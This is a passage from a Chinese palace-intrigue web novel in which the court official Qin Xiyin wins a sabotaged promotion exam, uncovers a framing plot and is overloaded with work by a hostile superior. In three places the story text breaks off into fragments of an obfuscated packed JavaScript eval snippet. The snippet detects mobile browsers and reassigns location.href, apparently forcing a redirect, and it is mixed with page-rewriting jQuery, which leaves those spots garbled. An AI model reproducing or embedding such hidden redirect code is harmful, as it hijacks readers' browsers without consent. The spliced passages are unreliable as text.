无奈之下,秦惜音只好举手示意贺司籍,小声说自己的笔不能用。 贺司籍皱眉道:“怎么你总是出状况?” 83. 事后复盘 秦惜音心下一沉,有些歉疚地说道:“抱歉,贺司籍,请您给我一支新的笔。” 贺司籍就给了秦惜音一支很大的毛笔。这支毛笔虽然没有分叉,但实在太大了,一般是用于作画的。 试卷篇幅太小,一般只能用很细的毛笔来书写。用这支大笔,实在太难了。 秦惜音看其他考生用的都是细毛笔,只有她用大毛笔,光是书写工具,就处于劣势了。 秦惜音想叫贺司籍再换一支笔,但一来怕影响其他人,二来怕贺司籍不耐烦,取消她的考试资格,而且贺司籍已经走远了,一直没有朝秦惜音看过来。 无奈之下,秦惜音只能用这支大笔来写字。 她小心翼翼地用笔尖蘸了一点墨汁,握着笔的下端,开始答题。 写了几个字之后,她发现,只要控制好力道,其实可以写出比较小的字。只是,会很费劲。 考试时间是两个时辰,如果她两个时辰都用大笔写小字,只怕右边胳膊都快废了。 但是没办法,这次考试的机会是好不容易得到的,她不能现在放弃。 她也不知道贺司籍为什么给她一支这么大的笔。联想到刚才,只有她的笔是坏的;还有前几天,贺司籍非要秦惜音给女史们出题,不给秦惜音复习的时间。 秦惜音在心里推测,也许贺司籍并不希望秦惜音升上去。 这并不是秦惜音把人往坏处想,而是她这么长时间的经验总结。她跟形形色色的人打过交道,现在基本能判断出别人对她是怀有善意还是恶意。 贺司籍的做法,跟之前太后殿的宫女逢春类似。 不过,秦惜音不会被这么一点挫折给打倒。 她飞快地写字,眼中看到题目,脑中就构思答题思路,手中不停地书写,没有片刻的走神。 她的题目比别人多一倍,她必须全程保持快速和高效。 只是,控制这支大笔,让她觉得越来越吃力。恐怕再写一会,她的手就酸得抬不起来了。 她想把笔杆折断,这样笔的重量会减轻许多,她写得也会顺一些。 但是,现在没有趁手的工具。 秦惜音往头上摸去,发现自己今日戴着一把梳篦,上面有细密的齿,也许可以用来切割毛笔。 她把梳篦取下来,趁别人不注意,偷偷地锯着笔杆。 梳篦的齿比较坚硬,而笔杆只是用普通木头做的,可以锯得动。 过了一会,整根笔杆都被锯断了,秦惜音只需要握着笔头的上端即可。 这虽然有些奇怪,但只要会写字,用什么工具其实不重要。 秦惜音写了一会,就找到了感觉,把这截断笔运用自如。没有了笔杆的重量,写起字来轻松许多。 秦惜音始终只用笔尖蘸一点点墨,这样就不会在纸上留下一大块墨迹。 只是,由于工具不趁手,她写出来的字没有平时好看。 她也顾不得那么多了,只要保证每个字都写清楚,不模糊就行了。 过了一会,贺司籍巡视到秦惜音这边,见秦惜音的笔杆竟然断了,有些生气地说道:“惜音,你怎么把笔杆弄断了?” 秦惜音小声道:“抱歉,贺司籍,等考试结束,我会赔偿这支毛笔的价钱。” 见此,贺司籍也不好再说什么。她见到秦惜音的卷面比较整洁,嘴唇抿了抿,神情更严肃了。 两个时辰后,考试时间结束。 有几个考生直接交卷了,也有几个考生看着试卷上的空白处,有些不甘,想写些什么上去,但是又不知道怎么写,更何况考试时间也到了,也只能交卷。 秦惜音紧赶慢赶,终于把大部分的题都写完了,只剩下两道她不会的题空着。 她交卷之后,觉得自己右手都抬不起来了,而且有些头晕眼花,又饿又渴又困,只想回去睡一觉。 看到秦惜音的状态,有几个考生似乎有些幸灾乐祸。 秦惜音也无暇跟其他人告别,直接回到自己的屋子,睡了许久。 两场考试的结果,都是三天后公布的。 女史们的考试,连云得了第一名,晋升为八品掌籍。 女官们的考试,秦惜音得了第一名,晋升为七品典籍。 秦惜音把榜单看了又看,确定无误后,才放下心来。虽然对结果早有预料,她还是很开心。 终于没有白费考试时的辛苦。 跟秦惜音交好的女史、女官们,纷纷前来恭喜秦惜音。 而这次,秦惜音升为七品女官,再不请客就说不过去了。 她请尚食局的好友松月帮忙,做了几桌宴席,宴请同僚。 —————— 另一边,贺司籍的屋子。 孙掌衣走了进来,问道:“贺姐姐,第一名真的是惜音?我不信。” 贺司籍道:“你们的试卷都是由好几位女官共同批阅、复审的,不会有错。当然,按照程序,你也可以申请查阅试卷。不过,你就算查阅了,结果也是一样的。” “可是,惜音要写一百道题,而且她的笔被换成了大毛笔,几乎不可能写完的。” “起初,我也是这么想的。但是,她就是写完了。一百道题,她写了九十八道,而且基本上都答对了。大毛笔不好控笔,她就割断了笔杆,只握着笔头的另一端。在种种不利于她的条件下,她还能考第一,只能说明,她的水平比你们高出太多了。” “我不信……她有没有作弊?” “我一直盯着她,她不可能作弊。再说,她的题目那么多,就算带了小抄,也没时间抄。再者,她也不知道我出的是什么题,怎么作弊?孙掌衣,我劝你别纠结这件事了,输了就是输了。 你是尚服局的,对服饰方面的知识比较了解,下次还是准备尚服局的晋升考试吧,别跨部门考试了。” “可是,我对自己的文化知识很有信心……平时有空,我就会读书。为什么我会输给惜音……” “也许是你的天赋不如她,别想了。” “我们尚服局的女官基本上都满员了,我没有上升的渠道,所以才想考到司籍司来。我本以为很容易,没想到……” 贺司籍道:“其实,以你的学识,完全可以胜任七品典籍之职。只是,惜音的水平太高了,把你给比下去了。如果没有她,这次你就是第一了。你还是静等时机吧,你的上级说不定什么时候就出宫了,到时候就有空缺了。” “好吧。贺姐姐,你就不怕惜音有一天会超过你吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751610|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “若以学识而论,她早就超过我了。不过,她如果想爬到我头上,或是跟我平级,那还差得远,我不会给她这个机会的。” ———————— 宴请完毕后,秦惜音就搬到了黄典籍的屋子里。 两名七品典籍是住同一间屋子的,六品及以上女官才有单独的屋子。 黄典籍提前就做好了准备,把属于秦惜音的半间屋子布置得很好,换了新的桌垫、床垫,在墙上打了个置物架,还挂了水晶帘。 秦惜音开心地对黄典籍道谢,黄典籍笑道:“不用客气,以后我们就是平级了。惜音,你真厉害。想当年,我晋升七品,考了三次才考上。” 秦惜音笑道:“我只是运气好。” “你实在过谦了,是你自己有实力。以后,你陪我同住,我就不孤单了。” 秦惜音稍作休息。 过了一会,黄莺跑了进来。 她大概是来找黄典籍的,但她没料到秦惜音已经搬进来了,愣了一会,然后对秦惜音行礼:“属下见过秦典籍。” 行礼完毕后,黄莺似乎有些不高兴,站到了黄典籍身后。 秦惜音笑道:“黄莺,你不用跟我生分了,反正以前我们都是住同一间屋子的嘛。你要是愿意,私下里也可以称我一声秦姐姐。” 黄莺淡淡地说道:“这样不妥,规矩不可废。” 黄典籍见黄莺态度不好,就拍了拍她。黄莺似乎更不高兴了,站到了角落里,离秦惜音更远了。 秦惜音能理解黄莺的心理。 黄莺是司籍司的老人,秦惜音是新来不久的。可是,短短时间,秦惜音连升两级,而黄莺仍然只是个女史,她心里不痛快是正常的。 如果易地而处,秦惜音可能也很难接受自己的同僚突然变成了上级。 这时,秦惜音忽然想到了一件事,问黄莺:“黄莺,我想问你一件事。七彩中泻药的那天,是你去拿的早饭。是你主动去拿的,还是别人叫你去的?” 黄莺道:“那天本来轮到七彩去拿早饭的。可是七彩说,她马上就要考试了,有点紧张,拜托我去拿一下,我就去了。” 秦惜音点头道:“果然是这样……” 黄莺问道:“什么意思?” “七彩叫你去拿早饭,应该是早就设计好的。只有你去拿早饭,七彩中了泻药后,才能把嫌疑往你身上引。而且,你很想参加考试,是众人都知道的。 七彩也算到,如果她不能考试,你一定会主动要求替补。这样,就更显得你是为了自己上位,才陷害她的。 而且,女史们考试时,如果要外出,照例是要有一名女官陪同的。当时,八品女官只有我一个,而我要监考,所以七彩要去茅房的时候,我肯定只能求助于黄典籍。 因为有黄典籍这个七品女官在,我不能越过她,直接求助于更高的女官们。 这样,七彩就有了跟黄典籍单独相处的机会,也就有了污蔑黄典籍的机会。 所以,七彩应该是早就布好了局,想把你和黄典籍一网打尽。 不,应该说,是把我们三个一网打尽。因为,在我监考的时候出了事,我也有责任。如果当日真相没有大白,也一定会影响我的晋升。” 84. 转变想法 黄莺喃喃道:“真的吗……七彩竟如此有心计?我平时怎么没看出来……” 秦惜音道:“我也没看出来。她应该是受人指使的。” 黄典籍感叹道:“这计策一环套一环,实在太厉害了……如果七彩当日污蔑成功了,我们三人都不会有好结局。我认识七彩很久了,凭她自己,肯定想不出这样的计策,背后应该有人指使。 而且,在事情快要暴露的时候,她直接自尽了,更像是把线索断在她这里,好让我们不要继续往下追查。她身后之人,到底是谁呢……” 秦惜音忽然问黄典籍:“黄典籍,您觉得贺司籍最近有变化吗?” 黄典籍道:“她一向不太好相处,不过我们一直井水不犯河水。但是,前几日,七彩腹泻时,她非要逼供我和黄莺,我觉得有点奇怪。这不像是她平时的作风。难道,你是怀疑……” 秦惜音道:“贺司籍以前也从来不会故意为难我,但是这一次,她明知道我要参加晋升考试,还让我准备女史们考试的题目,不给我复习的时间。而且,监考也是她让我去的。 七彩能同时算计到我们三个人,其中有一个必要的条件,就是我在监考。所以,我觉得贺司籍已经变了,也许七彩是她的人…… 但是,这只是猜测,我们不能泄露出去,只要心里有数就好了。” 黄典籍沉思道:“我倒是听说,前阵子贺司籍的父亲和叔父都被贬官了,贺家不复往日的盛况,现在贺家品级最高的反而是贺司籍这个六品司籍。” 秦惜音道:“会不会是因为贺家的变故,让贺司籍转变了想法?她现在想增加自己的势力,打压其他势力,带领贺家重新往上升。现在她是贺家的顶梁柱了,行事作风自然跟以往不同。” 黄典籍点头道:“很有可能。惜音你非常出众,将来一定会是贺司籍的威胁,所以她现在就想给你增加阻碍。而我占了七品典籍的位置,如果我因为犯错,引咎辞职,七品的位置就空出来一个,贺司籍就可以安插她自己的人进来。” 黄莺有些害怕,说道:“有这么复杂吗?我有点害怕……” 黄典籍道:“不用怕,只要我们行得正,坐得直,别人没那么容易把我们排挤出去。” 黄莺对秦惜音道:“惜音……不,秦典籍,你也会帮我们的吧?” 秦惜音道:“如果有人恶意加害我或者我的同僚,我一定会尽己所能,拆穿对方的阴谋。” 黄莺说道:“总之呢,我们是好朋友,你一定要保护我的。” 秦惜音无奈地笑了笑。 黄典籍对黄莺道:“之前你还总欺负惜音,现在又说跟人家是好朋友,亏你说得出口。” 秦惜音道:“无妨,如果黄莺愿意把我当朋友,也是我的荣幸。比起一些野心勃勃、坏事做尽的人,黄莺已经算是很好的了。” 黄莺有些激动:“真的吗?你真的觉得我是好人?” “嗯。” 这时,秦惜音忽然想起了一件事,道:“黄莺,你前几天是忽然便秘的吗?” 黄莺道:“对。就是这么不凑巧,我那几天便秘,才找女医拿了点泻药。没想到,那点泻药反而成了我给七彩下.药的罪证。如果我不是便秘的话,平时是不会储存泻药的。” 秦惜音道:“不,我觉得这件事也不是巧合。你以前经常便秘吗?” “没有,我很少便秘。” “你平时会固定吃某些零食吗?” “会,我的箱子里放着一些零食,都是我姑姑做的。我吃完后,她还会给我。所以,我几乎每天都吃零食。” “要不,你现在去把那些零食全部拿过来给我看看。” 黄莺虽然疑惑,但还是照做了。 她很快就把自己的零食拿了过来。 秦惜音尝了几口后,道:“这里面加了蒙脱石散。” 黄莺道:“蒙脱石散是什么?” “是一种止泻的药品。但是,如果没有腹泻,却吃进去大量的蒙脱石散,会导致便秘,排便困难。” 黄莺有些后怕:“你是说,我的零食在好几天前就被加了蒙脱石散,所以我才会便秘,才会去找女医拿泻药。而我的柜子里有泻药,就有给七彩下药的嫌疑……原来如此,我说怎么突然便秘了呢……” 黄典籍摇头道:“幕后之人,心思太深了。” 秦惜音道:“幕后之人为了确保黄莺柜子里有泻药,就必须让她便秘,主动去拿泻药才行。所以,这件事的每一步,都经过精密的计算,其中没有偶然事件。 给黄莺的零食里放蒙脱石散的人,应该就是七彩。七彩跟黄莺住在同一间屋子,有很多下.药的机会。 如果整件事真是贺司籍安排的,我们以后要小心她了。” 黄莺的声音有些发抖:“怎么会这样啊……我以前没发现贺司籍这么可怕……” “贺司籍以前应该没想过害谁,只有最近,家族的重担都落在她身上了,她才开始算计别人。但是,她一出手就是如此精密的计谋,足以证明她心思深沉,考虑周详,是个劲敌。” 黄莺道:“怎么办……我可不想继续被她打压……” 秦惜音道:“你暂时对她没威胁,她应该不会直接对付你。走一步看一步吧。” 黄典籍叹息道:“怪不得七彩自尽得那么干脆,应该也是受到贺司籍的威胁,才不得不自尽的。现在,七彩已死,这件事也没法继续追查下去了。我们以后要小心为上。” 秦惜音和黄莺都点了点头。 黄莺觉得,与其嫉妒秦惜音,不如主动向秦惜音靠拢。 毕竟,自己靠着姑姑黄典籍作威作福的时代已经过去了,现在贺司籍在暗处虎视眈眈,随时有可能对黄典籍和自己不利。 自己虽然只是个女史,但姑姑却是七品女官,自己和姑姑都属于黄家一系,在贺司籍眼里是一体的。 秦惜音聪慧过人,善于断案,还几次救过自己。跟秦惜音成为朋友,对自己比较有利。 因此,黄莺决定,以后要把秦惜音当自己人。 三人又讨论了一番,就各自干活去了。 第二天,秦惜音起了个大早,去寿康宫拜见太后。 她跟太后有个约定,等自己成为七品女官,要拜见太后,并且太后会把自己当女官的一些心得传授给她。 太后上了年纪,起得很早。 秦惜音到寿康宫时,太后正好在吃早饭,招呼秦惜音一起吃。 秦惜音谢恩之后,就坐下了,吃了点自己面前的菜。 太后笑呵呵地说:“惜音,你比之前瘦了。司籍司挺辛苦的吧?” “是,不过奴婢乐在其中,也学了很多东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751611|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哀家知道你一定能升官,但没料到,你这么快就升到了七品,实在可喜可贺。” “多谢太后娘娘。” “对了,之前哀家说过,等你成为七品女官,要把自己当女官时写的心得笔记给你。你等一下,哀家现在去拿。” 过了一会,太后拿来一本厚厚的书,交给了秦惜音。 秦惜音翻开一看,里面用簪花小楷写了很多内容,但行文都比较简略,不啰嗦。 太后笑道:“哀家年轻时,在好几个部门任职过。每一个职位,都有对应的心得,你回去慢慢看吧。” 秦惜音如获至宝,开心地说道:“谢太后娘娘!” “希望这本心得,能帮你走得更远。” “奴婢一定会好好努力,不辜负太后娘娘的教导。” 太后用欣赏的眼光看着她:“看见你,哀家就想起了年轻时的自己。不过,你比年轻时的哀家要厉害许多。” 秦惜音惶恐道:“奴婢怎能跟太后相比?” 太后笑道:“哀家说的是事实,你无需惶恐。” 接着,太后又跟秦惜音聊了一会,就让秦惜音离开了。 秦惜音在回去的路上,远远地看见一个妃嫔。 那个妃嫔身形消瘦,穿着一身天蓝色的宫装,裙摆上绣着几只小兔子,外搭一件牙白色的褙子,头上带着浅蓝色的绒花头饰,脖子上戴着一串粉色珍珠项链,没有过多华丽的装饰,显得清新婉约,素雅宜人。 秦惜音觉得她有些眼熟,但一下子想不起来是谁。 还是那妃嫔先认出了秦惜音,叫道:“秦女官,好久不见。” 听见这声音,秦惜音想起来了,赶紧行了个礼:“下官拜见莫御.女。” 眼前的妃嫔,正是由女官变为妃嫔的莫寒星。 这还是她们分别后的第一次见面。 莫寒星扶起了秦惜音,笑道:“听说你已经升为七品典籍,挺厉害的。” “谢娘娘夸赞,这离不开娘娘往日的教导。” “本宫可没教导过你,完全是你自己厉害。惜音,陪我走走吧。” “是。” 莫寒星让秦惜音陪她在宫道上走着,让宫人们离她远一些。 走了一会,莫寒星问:“惜音,你怎么不说话?” “娘娘,您不说话,奴婢不敢先开口。” 莫寒星自嘲地笑了笑:“原来是这样。司籍司还好吗?” “嗯,都挺好的,奴婢交了新朋友,连云也升为八品掌籍,所有的工作都在有条不紊地进行。” “嗯,连云早该升了,只是她脾气太差,不会搞关系。” “以前,是她自己不想升,所以从来不参加晋级考试。这次,奴婢好说歹说,总算劝她参加考试了。她毫无悬念地取得了第一名。” “嗯。我听说,有个女史死了?” “是。” 七彩的死,内情复杂,秦惜音还没想好要不要和盘托出。 不过莫寒星也没再问,而是继续朝前走。 秦惜音看了她一眼,觉得她似乎消瘦了,眼神也有些迷茫。 莫寒星注意到秦惜音的眼神,道:“你是不是有什么话想说?直接说就可以了。在我面前,不用拘礼。” “是……奴婢想问,娘娘您过得好吗?” 85. 活上加活 莫寒星愣了一会,笑道:“过得还不错。有谦才人作伴,每天一起看看书,写写诗,倒也有趣。” “那……皇上跟您关系好吗?” 莫寒星笑了:“你怎么会这么问?我就跟这宫里其他妃嫔一样,跟皇上的关系说不上好,也说不上不好。很久才能见皇上一次,尽心侍奉着,别得罪皇上就是了。哪里敢跟皇上攀关系呢?” “那……娘娘您……快乐吗?” “很少有人问我这个问题。我只能说,这条路是我自己选的,我暂时没后悔。其他的,我说不出来。” “娘娘,如果您需要什么,可以派人通知我。我借着给娘娘送书的机会,一并送过去。” “傻丫头,我好歹是个妃嫔,怎么会缺什么?你只需要做好自己的工作就行了,其他事不用你操心。不过,你若是愿意来看看我,倒是可以借着送书的名头过来。” “是,奴婢一定会抽出时间过去的。” 两人正交谈着,忽然,瑾妃宫里的一个小宫女跑了过来,对秦惜音道:“秦女官,您在这儿呢,可让奴婢好找。瑾妃娘娘找您,您快过去吧。” 秦惜音跟莫寒星对视了一眼,心里都猜到了瑾妃的目的。 秦惜音只能跟莫寒星告别,然后来到了瑾妃宫里。 瑾妃又让秦惜音写诗,这次是写鹦鹉。 因为皇帝送了两只鹦鹉给瑾妃,瑾妃想写诗表达对皇上的感谢。 秦惜音思索了一会,写下了两首咏鹦鹉的诗。 瑾妃看了之后,点头道:“不错,你的诗还是一如既往的好。” 秦惜音低头道:“是娘娘的诗写得好,奴婢看了之后,也十分佩服。” 瑾妃笑了一声,说道:“你现在倒是越来越懂事了。” “奴婢只是实话实说。” “既然你说自己实话实说,那么,莫御.女的事,跟你有关吗?” “娘娘的意思是……” “是不是你给莫寒星出主意,让她成为皇上的妃嫔?” “没有,这件事奴婢并不知情。” “当真?” “是的,奴婢怎敢欺瞒娘娘?” “但是,这种主意,像是你能想出来的。你不想让莫寒星一直被本宫剥削,所以提议让她直接当皇上的妃嫔,自己写诗给皇上看。这样,她的才华就不会被埋没,对不对?” “奴婢怎么敢乱出这种主意?若是帮别人成为妃嫔,无异于给瑾妃娘娘增加竞争对手,这是对娘娘不利。奴婢有几个胆子,敢做这种对娘娘不利之事?” 听了这番话,瑾妃也信了大半,说道:“好了,你别紧张,本宫只是随便问问。本宫知道,你肯定是忠心于本宫的,对吗?” 说着,瑾妃拍了拍秦惜音的肩膀。 秦惜音有些微战栗,随即定下心神,说道:“奴婢忠于自己的上级,忠于皇上,内心也十分尊敬娘娘。” 听到秦惜音巧妙地回避了这个问题,瑾妃只是淡淡一笑。她觉得,要收服秦惜音,还需要一点时间。不过,那也是迟早的事。 接着,瑾妃道:“今天辛苦你了,等下次有需要时,本宫再叫你过来。” “是。” 秦惜音回到了自己的屋子,喝了杯茶,让自己冷静下来。 这已经是她第二次为瑾妃写诗,她觉得无所谓。 但是,如果是第二十次、第三十次被夺走诗词,她的心态会不会发生变化? 在这宫里待久了,她很难保证自己一直是正常人。 就像莫寒星,为了报复瑾妃,搭上了自己的后半生。 但秦惜音觉得,自己应该不会走上那样的路,毕竟自己还有退路。 她打开首饰盒,拿出高毅送她的戒指和金镯子。这两样东西都太贵重了,所以她平时不戴。 不过,她会时不时地拿出来看一下,想着高毅还在宫外等着她。 在自己逐渐丧失力量的时候,看到这些信物,她又会精神饱满。 她的路还没有走通,不能现在倒下。 过了一会,沈司籍派人叫秦惜音过去。 秦惜音来到沈芦叶的屋子,问道:“沈司籍,不知您找我什么事?” 沈司籍道:“有一批古籍缺少注解,皇上让司籍司、弘文馆、集贤殿书院的人同时注解这几本古籍,注解得最详尽、最准确的部门,将会得到皇上的嘉奖。并且,被皇上认可的版本,会付梓刊行,在全国乃至其他国家广为流传。 以前,这种盛事从来轮不到司籍司参与,因为司籍司都是女人,很多人,包括皇帝,都会认为女人的学识肯定不如男人。 但这次,皇上破格让司籍司也参与。如果我们能够胜出,以后在皇上心中会更加重要,也会让世人知道,女官不比男官差。 只是,这是一个不小的挑战,你敢接吗?” 秦惜音坚定地说道:“敢。” “你一点犹豫都没有?弘文馆和集贤殿书院的官员,都是饱读诗书、通过科举考试的人才,有很多人还是读了几十年书的老头子。你确定能赢过他们?” “他们读的书或许比我多,但具体到某件工作,却未必能胜过我。只要我认真注解,旁征博引,把每一处疑难的字词都翻译好,也许有一争之力。” 沈司籍笑道:“很好,那这件事就交给你了。需要什么帮助,尽管来跟我说。” “是。” 沈司籍把几本古籍交给了秦惜音。 秦惜音发现,这些古籍每一本都很薄,翻开来一看,里面的内容都很短,但很难看懂。 看来,注解这些书是一件难事。 不过,秦惜音随便扫视了两眼,发现自己所看见的内容,都大概知道是什么意思。 比如,某句话概括了一件重大的历史事件,自己注解的时候,要把那件历史事件详细写出来;某句话写甲和乙打了一架,实际上的史实是甲和乙都是某国的皇子,为了争夺皇位才打架,后来甲经过一系列复杂的权谋,才打败了乙。但是国人都更支持乙,所以甲的统治不稳,甲就杀了很多百姓。 再比如,书上写某日,甲乙两国结盟,但没有其他内容。注解的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751612|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就要把甲乙两国结盟的前因后果都写清楚。 还有的字不是常用字,就要注明那个字的读音、意思,然后再解释整句话的意思。解释完整句话,还要提一下这句话所代表的具体事件。 总之,这不仅是脑力活,也是体力活。对某一句话的注解,只怕要写好多页。 而且,必须博学才行。如果连古籍上的句子都看不懂,或者古籍里提到的人名都不知道是谁,要临时询问,就会大大增加工作量。 而这份注解的活,期限只有一个月。 这意味着,秦惜音每看到一句话,就要立刻动笔注解,这样才能差不多赶上进度。 司籍司内能帮上忙的人几乎没有,大部分女史、女官学识都算不上渊博,如果叫她们帮忙,她们反而要问秦惜音一大堆问题,拖慢秦惜音的进度。 沈芦叶虽有才华,但她这段时间在忙别的事,也帮不上秦惜音。 因此,秦惜音带着这几本古籍回房,立刻开始注解,连饭也在房间里吃。 她也不怎么跟人来往了,除非是工作上的必要往来。 好在连云自从成为女官后,雷厉风行,对各项工作都十拿九稳,帮了秦惜音很多忙。 几天后,贺司籍把秦惜音叫去,说道:“惜音,藏书阁里有一些书因太过陈旧,字迹看不清了,需要重新抄写一遍。你把这些书拿去,一个月内抄写完毕,不能有错误。有看不清的、不确定的地方,可以来问我,或是查阅其他书籍。” 秦惜音道:“贺司籍,这件事能不能交给别人来做?我刚刚领了一份注解古籍的工作,是皇上交代下来的,比较要紧,关系到司籍司以后的地位和奖赏。” “你身为女官,自然要比别人承担更多的责任,才能服众。同时做两件事情,对你来说问题不大吧?如果连这都做不到,还当什么女官?” “这……可是注解古籍的活,也很紧急,需要在一个月内完成。而且,我还没有帮手……” “我不想听这些借口。总之,你把这些书拿回去,重新抄写一遍。” 秦惜音看了这几本书一眼,说道:“贺司籍,这些书都非常冷门,平时没什么人看。就算要重新抄录,也可以过段时间再说……” “谁说冷门的书就没人看?万一皇上或是后宫娘娘们突然要看其中的某一本呢?到时候,难道让我把字迹模糊、纸张陈旧的书呈递上去吗?” “是,下官会把这些书重新抄录……但是,时间上能否宽限一二?” “你这就是想偷懒了。谁不知道,你写字很快,别人写一个字的功夫,你能写两个字。上次女官考试的时候,你的题量比别人多一倍,却也能按时交卷,可见那就是你的真实水平。 你刚当上七品典籍,就拈轻怕重,想多休息?既然这样,你干脆辞职,可以一直休息。” 秦惜音不敢再说,只能把这几本古籍也领回去,在一个月内重新抄录。 她不知道自己能不能按时完成,只能每天都忙到很晚。 不过很快,她就发现,两样工作一起做,也有好处。 86. 乐官相邀 比如,在注解古籍的时候,难免会遇到一些自己读不懂的话。如果能找到这些话的出处,就能解释清楚了。 但是,这几本古籍上的句子,很多都是比较冷门的。 而贺司籍让秦惜音抄录的那几本书,也是冷门书籍,其中就有一些句子,刚好跟需要注解的古籍句子重合。 也就是说,秦惜音找不到出处的句子,很多都可以从贺司籍给的书里找到出处。 这样,反而有利于自己注解古籍。 贺司籍大概是想给秦惜音加活,为难秦惜音,没想到阴差阳错,帮了秦惜音一把。 秦惜音心中暗喜,不过她不会把这个发现泄露出去的,自己心里偷偷高兴就行了。 坏处就是,同时忙两件事,确实非常累。她每天一睁眼,就要保持高强度工作,不能懈怠。 她经常感到腰酸背痛,但也只能继续坚持,最多就是给自己捶捶背。 白天想休息时,她是站着睡觉的,这样可以不睡太死,随时能醒来。 这天,她听外面几个女史议论,说是杨昭仪举荐了自己宫里的宫女银镜为妃嫔,银镜侍寝后,被封为柳采女,因为银镜姓柳。 听到这件事,秦惜音愣了一下,但并不意外。 早在杨昭仪向瑾妃要银灯、银镜二人的时候,秦惜音就猜到,杨昭仪想扶持几个低位妃嫔,作为自己的帮手。 秦惜音劝过银灯和银镜,这条路并不好走,还可能身不由己。银灯听进去了,找了个理由出宫了。 而银镜没听进去,反而到了杨昭仪身边。现在她求仁得仁,真的成了妃嫔。 不过,秦惜音对后宫的这些变化,并不太关心。 她只是有些担心自己的好友曲南蕊。曲南蕊进宫这么久了,还是末等的采女,并未得到晋升。 她觉得,自己得找个时间去看望一下曲南蕊,免得曲南蕊寂寞。 只是,肯定要等到自己忙完之后了。 窗外,那几个女史还在议论银镜成为妃嫔之事,有的人表示羡慕,也有的人表示不屑,觉得银镜身份低微,不配当妃嫔。 秦惜音听女史们一味地聊天,耽误了干活,便打开窗户,说道:“你们别聊了,各干各的去吧。” 那几个女史吓得赶紧跑开了。她们开小差,被长官抓住了,都有些害怕。 秦惜音也没为难她们,只是关了窗户,继续忙碌。 过了一会,一个叫金萝的女史敲了敲门,走了进来。 秦惜音问道:“金萝,你有事吗?” 金萝在桌上放下一个碗,说道:“惜音姐姐,这是我专门给你做的莲子百合羹,莲子是我亲手剥的,去了芯,不苦的。” 秦惜音笑道:“多谢你了。” “惜音姐姐,我看您这几天一直在忙,都不怎么出房门,我给您捶捶背吧。” “不用了,你去忙吧。” 然而,金萝仍是走到了秦惜音身后,给她捶背。 不得不说,金萝锤得挺不错的,秦惜音觉得很解乏。 不过,她不想让金萝太过辛苦,过了一会就让她停下来了。 金萝道:“惜音姐姐,只要能帮到你,我不怕辛苦。” “你不用伺候我的。今天你没活干吗?” “有,不过我干完了。惜音姐姐这里有没有我能帮上忙的?” “要不你帮我抄书吧,有不懂的问我。” “是。” 金萝坐在了另一张桌子上,帮秦惜音抄那几本陈旧的古籍。 只是,那些书上的字迹大部分都看不清了,金萝时不时地就要来问这是什么字。 秦惜音解答了几次之后,说道:“如果有字迹不清的,你不用每次都问我。你看看上下文,大概就能推断出是什么字了。比如,有的话是引用自史书的,你只需要照着史书上的原文写,就不会出错。有的话是一句诗,你只需要知道某几个字,就知道是那句诗了。” 金萝有些为难道:“可是……我不太清楚这些话都是出自哪里的……” 秦惜音知道,金萝的知识面还远远不够,只能说道:“没事,那你放着吧,我自己抄写。你去打扫一下藏书阁好了。” “可是,我想陪在惜音姐姐身边。要不,我来打扫您的屋子吧。” “不用了,你并非我的丫环,不用干这些。金萝,你还是先出去吧。” “哦……” 没过多久,金萝又进来了,拿了一把扇子给秦惜音扇风。 秦惜音道:“金萝,你很空吗?那你看书去吧。” “不,我要给惜音姐姐扇风,不让你热着。” “金萝,你真的没事吗?有事就直说吧。” “没事啊,我只是来看看姐姐。自从姐姐搬走,我就不能天天见到姐姐了。” 秦惜音心想,自己是女史的时候,也不见金萝跟自己多亲近。现在自己当了七品女官,金萝倒是挺殷勤的。 金萝大概是想跟秦惜音搞好关系,以后从秦惜音这儿得点好处吧。 不过,秦惜音身边从来不需要拍马屁的人。 她正色道:“金萝,如果以后我不找你,你就不用经常来我的屋子了。如果你想找活干,可以去找连掌籍,她才是你的直属上级,会给你安排工作的。” 金萝笑道:“可是,我跟连掌籍合不来,还是跟惜音姐姐合得来一些。” “你不需要跟上级合得来,只需要服从上级的命令就可以了。金萝,虽然我们以前关系不错,也不意味着现在要一直黏在一起,你明白吗?” 金萝有些尴尬地说道:“我知道了……那我就不打扰姐姐了。” 以前,金萝从不叫秦惜音姐姐,甚至有些排斥秦惜音。 现在,她倒上赶着叫姐姐了,攀关系的心昭然若揭。 但是,秦惜音也不能太生硬,免得把关系搞僵。所以,金萝爱怎么叫就怎么叫了。 金萝离开之后,秦惜音忽然觉得清静多了。 